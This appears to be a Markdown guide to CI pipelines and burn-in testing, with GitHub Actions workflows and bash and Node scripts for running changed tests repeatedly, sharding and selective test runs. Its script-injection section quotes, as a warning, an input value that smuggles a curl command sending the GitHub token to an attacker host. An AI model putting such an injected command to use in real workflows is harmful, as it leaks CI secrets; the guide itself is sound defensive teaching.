Du kan inte välja fler än 25 ämnen Ämnen måste starta med en bokstav eller siffra, kan innehålla bindestreck ('-') och vara max 35 tecken långa.

ci-burn-in.md 22KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717
  1. # CI Pipeline and Burn-In Strategy
  2. ## Principle
  3. CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.
  4. ## Rationale
  5. CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
  6. ## Security: Script Injection Prevention
  7. **Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
  8. When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
  9. ### Vulnerable vs Safe Pattern
  10. ```yaml
  11. # ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
  12. - name: Run tests
  13. run: |
  14. npx playwright test --grep "${{ inputs.test_ids }}"
  15. # ✅ SAFE — env var cannot break out of shell quoting
  16. - name: Run tests
  17. env:
  18. TEST_IDS: ${{ inputs.test_ids }}
  19. run: |
  20. npx playwright test --grep "$TEST_IDS"
  21. ```
  22. ### Unsafe Contexts (require env: intermediary)
  23. - `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
  24. - `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
  25. - `${{ github.head_ref }}` — PR source branch name (user-controlled)
  26. **Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
  27. ### Safe Contexts (safe from GitHub expression injection in run: blocks)
  28. - `${{ steps.*.outputs.* }}` — pre-computed by your own code
  29. - `${{ matrix.* }}` — defined in workflow YAML
  30. - `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
  31. - `${{ secrets.* }}` — secret store, not user-injectable
  32. - `${{ env.* }}` — already an env var
  33. > **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
  34. ---
  35. ## Pattern Examples
  36. ### Example 1: GitHub Actions Workflow with Parallel Execution
  37. **Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.
  38. **Implementation**:
  39. ```yaml
  40. # .github/workflows/e2e-tests.yml
  41. name: E2E Tests
  42. on:
  43. pull_request:
  44. push:
  45. branches: [main, develop]
  46. env:
  47. NODE_VERSION_FILE: '.nvmrc'
  48. CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
  49. jobs:
  50. install-dependencies:
  51. name: Install & Cache Dependencies
  52. runs-on: ubuntu-latest
  53. timeout-minutes: 10
  54. steps:
  55. - name: Checkout code
  56. uses: actions/checkout@v4
  57. - name: Setup Node.js
  58. uses: actions/setup-node@v4
  59. with:
  60. node-version-file: ${{ env.NODE_VERSION_FILE }}
  61. cache: 'npm'
  62. - name: Cache node modules
  63. uses: actions/cache@v4
  64. id: npm-cache
  65. with:
  66. path: |
  67. ~/.npm
  68. node_modules
  69. ~/.cache/Cypress
  70. ~/.cache/ms-playwright
  71. key: ${{ env.CACHE_KEY }}
  72. restore-keys: |
  73. ${{ runner.os }}-node-
  74. - name: Install dependencies
  75. if: steps.npm-cache.outputs.cache-hit != 'true'
  76. run: npm ci --prefer-offline --no-audit
  77. - name: Install Playwright browsers
  78. if: steps.npm-cache.outputs.cache-hit != 'true'
  79. run: npx playwright install --with-deps chromium
  80. test-changed-specs:
  81. name: Test Changed Specs First (Burn-In)
  82. needs: install-dependencies
  83. runs-on: ubuntu-latest
  84. timeout-minutes: 15
  85. steps:
  86. - name: Checkout code
  87. uses: actions/checkout@v4
  88. with:
  89. fetch-depth: 0 # Full history for accurate diff
  90. - name: Setup Node.js
  91. uses: actions/setup-node@v4
  92. with:
  93. node-version-file: ${{ env.NODE_VERSION_FILE }}
  94. cache: 'npm'
  95. - name: Restore dependencies
  96. uses: actions/cache@v4
  97. with:
  98. path: |
  99. ~/.npm
  100. node_modules
  101. ~/.cache/ms-playwright
  102. key: ${{ env.CACHE_KEY }}
  103. - name: Detect changed test files
  104. id: changed-tests
  105. run: |
  106. CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
  107. echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
  108. echo "Changed specs: ${CHANGED_SPECS}"
  109. - name: Run burn-in on changed specs (10 iterations)
  110. if: steps.changed-tests.outputs.changed_specs != ''
  111. run: |
  112. SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
  113. echo "Running burn-in: 10 iterations on changed specs"
  114. for i in {1..10}; do
  115. echo "Burn-in iteration $i/10"
  116. npm run test -- $SPECS || {
  117. echo "❌ Burn-in failed on iteration $i"
  118. exit 1
  119. }
  120. done
  121. echo "✅ Burn-in passed - 10/10 successful runs"
  122. - name: Upload artifacts on failure
  123. if: failure()
  124. uses: actions/upload-artifact@v4
  125. with:
  126. name: burn-in-failure-artifacts
  127. path: |
  128. test-results/
  129. playwright-report/
  130. screenshots/
  131. retention-days: 7
  132. test-e2e-sharded:
  133. name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
  134. needs: [install-dependencies, test-changed-specs]
  135. runs-on: ubuntu-latest
  136. timeout-minutes: 30
  137. strategy:
  138. fail-fast: false # Run all shards even if one fails
  139. matrix:
  140. shard: [1, 2, 3, 4]
  141. steps:
  142. - name: Checkout code
  143. uses: actions/checkout@v4
  144. - name: Setup Node.js
  145. uses: actions/setup-node@v4
  146. with:
  147. node-version-file: ${{ env.NODE_VERSION_FILE }}
  148. cache: 'npm'
  149. - name: Restore dependencies
  150. uses: actions/cache@v4
  151. with:
  152. path: |
  153. ~/.npm
  154. node_modules
  155. ~/.cache/ms-playwright
  156. key: ${{ env.CACHE_KEY }}
  157. - name: Run E2E tests (shard ${{ matrix.shard }})
  158. run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
  159. env:
  160. TEST_ENV: staging
  161. CI: true
  162. - name: Upload test results
  163. if: always()
  164. uses: actions/upload-artifact@v4
  165. with:
  166. name: test-results-shard-${{ matrix.shard }}
  167. path: |
  168. test-results/
  169. playwright-report/
  170. retention-days: 30
  171. - name: Upload JUnit report
  172. if: always()
  173. uses: actions/upload-artifact@v4
  174. with:
  175. name: junit-results-shard-${{ matrix.shard }}
  176. path: test-results/junit.xml
  177. retention-days: 30
  178. merge-test-results:
  179. name: Merge Test Results & Generate Report
  180. needs: test-e2e-sharded
  181. runs-on: ubuntu-latest
  182. if: always()
  183. steps:
  184. - name: Download all shard results
  185. uses: actions/download-artifact@v4
  186. with:
  187. pattern: test-results-shard-*
  188. path: all-results/
  189. - name: Merge HTML reports
  190. run: |
  191. npx playwright merge-reports --reporter=html all-results/
  192. echo "Merged report available in playwright-report/"
  193. - name: Upload merged report
  194. uses: actions/upload-artifact@v4
  195. with:
  196. name: merged-playwright-report
  197. path: playwright-report/
  198. retention-days: 30
  199. - name: Comment PR with results
  200. if: github.event_name == 'pull_request'
  201. uses: daun/playwright-report-comment@v3
  202. with:
  203. report-path: playwright-report/
  204. ```
  205. **Key Points**:
  206. - **Install once, reuse everywhere**: Dependencies cached across all jobs
  207. - **Burn-in first**: Changed specs run 10x before full suite
  208. - **Fail-fast disabled**: All shards run to completion for full evidence
  209. - **Parallel execution**: 4 shards cut execution time by ~75%
  210. - **Artifact retention**: 30 days for reports, 7 days for failure debugging
  211. ---
  212. ### Example 2: Burn-In Loop Pattern (Standalone Script)
  213. **Context**: Reusable bash script for burn-in testing changed specs locally or in CI.
  214. **Implementation**:
  215. ```bash
  216. #!/bin/bash
  217. # scripts/burn-in-changed.sh
  218. # Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]
  219. set -e # Exit on error
  220. # Configuration
  221. ITERATIONS=${1:-10}
  222. BASE_BRANCH=${2:-main}
  223. SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'
  224. echo "🔥 Burn-In Test Runner"
  225. echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
  226. echo "Iterations: $ITERATIONS"
  227. echo "Base branch: $BASE_BRANCH"
  228. echo ""
  229. # Detect changed test files
  230. echo "📋 Detecting changed test files..."
  231. CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")
  232. if [ -z "$CHANGED_SPECS" ]; then
  233. echo "✅ No test files changed. Skipping burn-in."
  234. exit 0
  235. fi
  236. echo "Changed test files:"
  237. echo "$CHANGED_SPECS" | sed 's/^/ - /'
  238. echo ""
  239. # Count specs
  240. SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
  241. echo "Running burn-in on $SPEC_COUNT test file(s)..."
  242. echo ""
  243. # Burn-in loop
  244. FAILURES=()
  245. for i in $(seq 1 $ITERATIONS); do
  246. echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
  247. echo "🔄 Iteration $i/$ITERATIONS"
  248. echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
  249. # Run tests with explicit file list
  250. if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
  251. echo "✅ Iteration $i passed"
  252. else
  253. echo "❌ Iteration $i failed"
  254. FAILURES+=($i)
  255. # Save failure artifacts
  256. mkdir -p burn-in-failures/iteration-$i
  257. cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
  258. cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true
  259. echo ""
  260. echo "🛑 BURN-IN FAILED on iteration $i"
  261. echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
  262. echo "Logs saved to: burn-in-log-$i.txt"
  263. echo ""
  264. exit 1
  265. fi
  266. echo ""
  267. done
  268. # Success summary
  269. echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
  270. echo "🎉 BURN-IN PASSED"
  271. echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
  272. echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
  273. echo "Changed specs are stable and ready to merge."
  274. echo ""
  275. # Cleanup logs
  276. rm -f burn-in-log-*.txt
  277. exit 0
  278. ```
  279. **Usage**:
  280. ```bash
  281. # Run locally with default settings (10 iterations, compare to main)
  282. ./scripts/burn-in-changed.sh
  283. # Custom iterations and base branch
  284. ./scripts/burn-in-changed.sh 20 develop
  285. # Add to package.json
  286. {
  287. "scripts": {
  288. "test:burn-in": "bash scripts/burn-in-changed.sh",
  289. "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
  290. }
  291. }
  292. ```
  293. **Key Points**:
  294. - **Exit on first failure**: Flaky tests caught immediately
  295. - **Failure artifacts**: Saved per-iteration for debugging
  296. - **Flexible configuration**: Iterations and base branch customizable
  297. - **CI/local parity**: Same script runs in both environments
  298. - **Clear output**: Visual feedback on progress and results
  299. ---
  300. ### Example 3: Shard Orchestration with Result Aggregation
  301. **Context**: Advanced sharding strategy for large test suites with intelligent result merging.
  302. **Implementation**:
  303. ```javascript
  304. // scripts/run-sharded-tests.js
  305. const { spawn } = require('child_process');
  306. const fs = require('fs');
  307. const path = require('path');
  308. /**
  309. * Run tests across multiple shards and aggregate results
  310. * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
  311. */
  312. const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
  313. const TEST_ENV = process.env.TEST_ENV || 'local';
  314. const RESULTS_DIR = path.join(__dirname, '../test-results');
  315. console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
  316. console.log(`Environment: ${TEST_ENV}`);
  317. console.log('━'.repeat(50));
  318. // Ensure results directory exists
  319. if (!fs.existsSync(RESULTS_DIR)) {
  320. fs.mkdirSync(RESULTS_DIR, { recursive: true });
  321. }
  322. /**
  323. * Run a single shard
  324. */
  325. function runShard(shardIndex) {
  326. return new Promise((resolve, reject) => {
  327. const shardId = `${shardIndex}/${SHARD_COUNT}`;
  328. console.log(`\n📦 Starting shard ${shardId}...`);
  329. const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
  330. env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
  331. stdio: 'pipe',
  332. });
  333. let stdout = '';
  334. let stderr = '';
  335. child.stdout.on('data', (data) => {
  336. stdout += data.toString();
  337. process.stdout.write(data);
  338. });
  339. child.stderr.on('data', (data) => {
  340. stderr += data.toString();
  341. process.stderr.write(data);
  342. });
  343. child.on('close', (code) => {
  344. // Save shard results
  345. const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
  346. try {
  347. const result = JSON.parse(stdout);
  348. fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
  349. console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
  350. resolve({ shardIndex, code, result });
  351. } catch (error) {
  352. console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
  353. reject({ shardIndex, code, error });
  354. }
  355. });
  356. child.on('error', (error) => {
  357. console.error(`❌ Shard ${shardId} process error:`, error.message);
  358. reject({ shardIndex, error });
  359. });
  360. });
  361. }
  362. /**
  363. * Aggregate results from all shards
  364. */
  365. function aggregateResults() {
  366. console.log('\n📊 Aggregating results from all shards...');
  367. const shardResults = [];
  368. let totalTests = 0;
  369. let totalPassed = 0;
  370. let totalFailed = 0;
  371. let totalSkipped = 0;
  372. let totalFlaky = 0;
  373. for (let i = 1; i <= SHARD_COUNT; i++) {
  374. const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
  375. if (fs.existsSync(resultFile)) {
  376. const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
  377. shardResults.push(result);
  378. // Aggregate stats
  379. totalTests += result.stats?.expected || 0;
  380. totalPassed += result.stats?.expected || 0;
  381. totalFailed += result.stats?.unexpected || 0;
  382. totalSkipped += result.stats?.skipped || 0;
  383. totalFlaky += result.stats?.flaky || 0;
  384. }
  385. }
  386. const summary = {
  387. totalShards: SHARD_COUNT,
  388. environment: TEST_ENV,
  389. totalTests,
  390. passed: totalPassed,
  391. failed: totalFailed,
  392. skipped: totalSkipped,
  393. flaky: totalFlaky,
  394. duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
  395. timestamp: new Date().toISOString(),
  396. };
  397. // Save aggregated summary
  398. fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));
  399. console.log('\n━'.repeat(50));
  400. console.log('📈 Test Results Summary');
  401. console.log('━'.repeat(50));
  402. console.log(`Total tests: ${totalTests}`);
  403. console.log(`✅ Passed: ${totalPassed}`);
  404. console.log(`❌ Failed: ${totalFailed}`);
  405. console.log(`⏭️ Skipped: ${totalSkipped}`);
  406. console.log(`⚠️ Flaky: ${totalFlaky}`);
  407. console.log(`⏱️ Duration: ${(summary.duration / 1000).toFixed(2)}s`);
  408. console.log('━'.repeat(50));
  409. return summary;
  410. }
  411. /**
  412. * Main execution
  413. */
  414. async function main() {
  415. const startTime = Date.now();
  416. const shardPromises = [];
  417. // Run all shards in parallel
  418. for (let i = 1; i <= SHARD_COUNT; i++) {
  419. shardPromises.push(runShard(i));
  420. }
  421. try {
  422. await Promise.allSettled(shardPromises);
  423. } catch (error) {
  424. console.error('❌ One or more shards failed:', error);
  425. }
  426. // Aggregate results
  427. const summary = aggregateResults();
  428. const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
  429. console.log(`\n⏱️ Total execution time: ${totalTime}s`);
  430. // Exit with failure if any tests failed
  431. if (summary.failed > 0) {
  432. console.error('\n❌ Test suite failed');
  433. process.exit(1);
  434. }
  435. console.log('\n✅ All tests passed');
  436. process.exit(0);
  437. }
  438. main().catch((error) => {
  439. console.error('Fatal error:', error);
  440. process.exit(1);
  441. });
  442. ```
  443. **package.json integration**:
  444. ```json
  445. {
  446. "scripts": {
  447. "test:sharded": "node scripts/run-sharded-tests.js",
  448. "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
  449. }
  450. }
  451. ```
  452. **Key Points**:
  453. - **Parallel shard execution**: All shards run simultaneously
  454. - **Result aggregation**: Unified summary across shards
  455. - **Failure detection**: Exit code reflects overall test status
  456. - **Artifact preservation**: Individual shard results saved for debugging
  457. - **CI/local compatibility**: Same script works in both environments
  458. ---
  459. ### Example 4: Selective Test Execution (Changed Files + Tags)
  460. **Context**: Optimize CI by running only relevant tests based on file changes and tags.
  461. **Implementation**:
  462. ```bash
  463. #!/bin/bash
  464. # scripts/selective-test-runner.sh
  465. # Intelligent test selection based on changed files and test tags
  466. set -e
  467. BASE_BRANCH=${BASE_BRANCH:-main}
  468. TEST_ENV=${TEST_ENV:-local}
  469. echo "🎯 Selective Test Runner"
  470. echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
  471. echo "Base branch: $BASE_BRANCH"
  472. echo "Environment: $TEST_ENV"
  473. echo ""
  474. # Detect changed files (all types, not just tests)
  475. CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
  476. if [ -z "$CHANGED_FILES" ]; then
  477. echo "✅ No files changed. Skipping tests."
  478. exit 0
  479. fi
  480. echo "Changed files:"
  481. echo "$CHANGED_FILES" | sed 's/^/ - /'
  482. echo ""
  483. # Determine test strategy based on changes
  484. run_smoke_only=false
  485. run_all_tests=false
  486. affected_specs=""
  487. # Critical files = run all tests
  488. if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
  489. echo "⚠️ Critical configuration files changed. Running ALL tests."
  490. run_all_tests=true
  491. # Auth/security changes = run all auth + smoke tests
  492. elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
  493. echo "🔒 Auth/security files changed. Running auth + smoke tests."
  494. npm run test -- --grep "@auth|@smoke"
  495. exit $?
  496. # API changes = run integration + smoke tests
  497. elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
  498. echo "🔌 API files changed. Running integration + smoke tests."
  499. npm run test -- --grep "@integration|@smoke"
  500. exit $?
  501. # UI component changes = run related component tests
  502. elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
  503. echo "🎨 UI components changed. Running component + smoke tests."
  504. # Extract component names and find related tests
  505. components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
  506. for component in $components; do
  507. # Find tests matching component name
  508. affected_specs+=$(find tests -name "*${component}*" -type f) || true
  509. done
  510. if [ -n "$affected_specs" ]; then
  511. echo "Running tests for: $affected_specs"
  512. npm run test -- $affected_specs --grep "@smoke"
  513. else
  514. echo "No specific tests found. Running smoke tests only."
  515. npm run test -- --grep "@smoke"
  516. fi
  517. exit $?
  518. # Documentation/config only = run smoke tests
  519. elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
  520. echo "📝 Documentation/config files changed. Running smoke tests only."
  521. run_smoke_only=true
  522. else
  523. echo "⚙️ Other files changed. Running smoke tests."
  524. run_smoke_only=true
  525. fi
  526. # Execute selected strategy
  527. if [ "$run_all_tests" = true ]; then
  528. echo ""
  529. echo "Running full test suite..."
  530. npm run test
  531. elif [ "$run_smoke_only" = true ]; then
  532. echo ""
  533. echo "Running smoke tests..."
  534. npm run test -- --grep "@smoke"
  535. fi
  536. ```
  537. **Usage in GitHub Actions**:
  538. ```yaml
  539. # .github/workflows/selective-tests.yml
  540. name: Selective Tests
  541. on: pull_request
  542. jobs:
  543. selective-tests:
  544. runs-on: ubuntu-latest
  545. steps:
  546. - uses: actions/checkout@v4
  547. with:
  548. fetch-depth: 0
  549. - name: Run selective tests
  550. run: bash scripts/selective-test-runner.sh
  551. env:
  552. BASE_BRANCH: ${{ github.base_ref }}
  553. TEST_ENV: staging
  554. ```
  555. **Key Points**:
  556. - **Intelligent routing**: Tests selected based on changed file types
  557. - **Tag-based filtering**: Use @smoke, @auth, @integration tags
  558. - **Fast feedback**: Only relevant tests run on most PRs
  559. - **Safety net**: Critical changes trigger full suite
  560. - **Component mapping**: UI changes run related component tests
  561. ---
  562. ## CI Configuration Checklist
  563. Before deploying your CI pipeline, verify:
  564. - [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached
  565. - [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min)
  566. - [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts
  567. - [ ] **Parallelization**: Matrix strategy uses fail-fast: false
  568. - [ ] **Burn-in enabled**: Changed specs run 5-10x before merge
  569. - [ ] **wait-on app startup**: CI waits for app (wait-on: '<http://localhost:3000>')
  570. - [ ] **Secrets documented**: README lists required secrets (API keys, tokens)
  571. - [ ] **Local parity**: CI scripts runnable locally (npm run test:ci)
  572. ## Integration Points
  573. - Used in workflows: `*ci` (CI/CD pipeline setup)
  574. - Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md`
  575. - CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins
  576. _Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_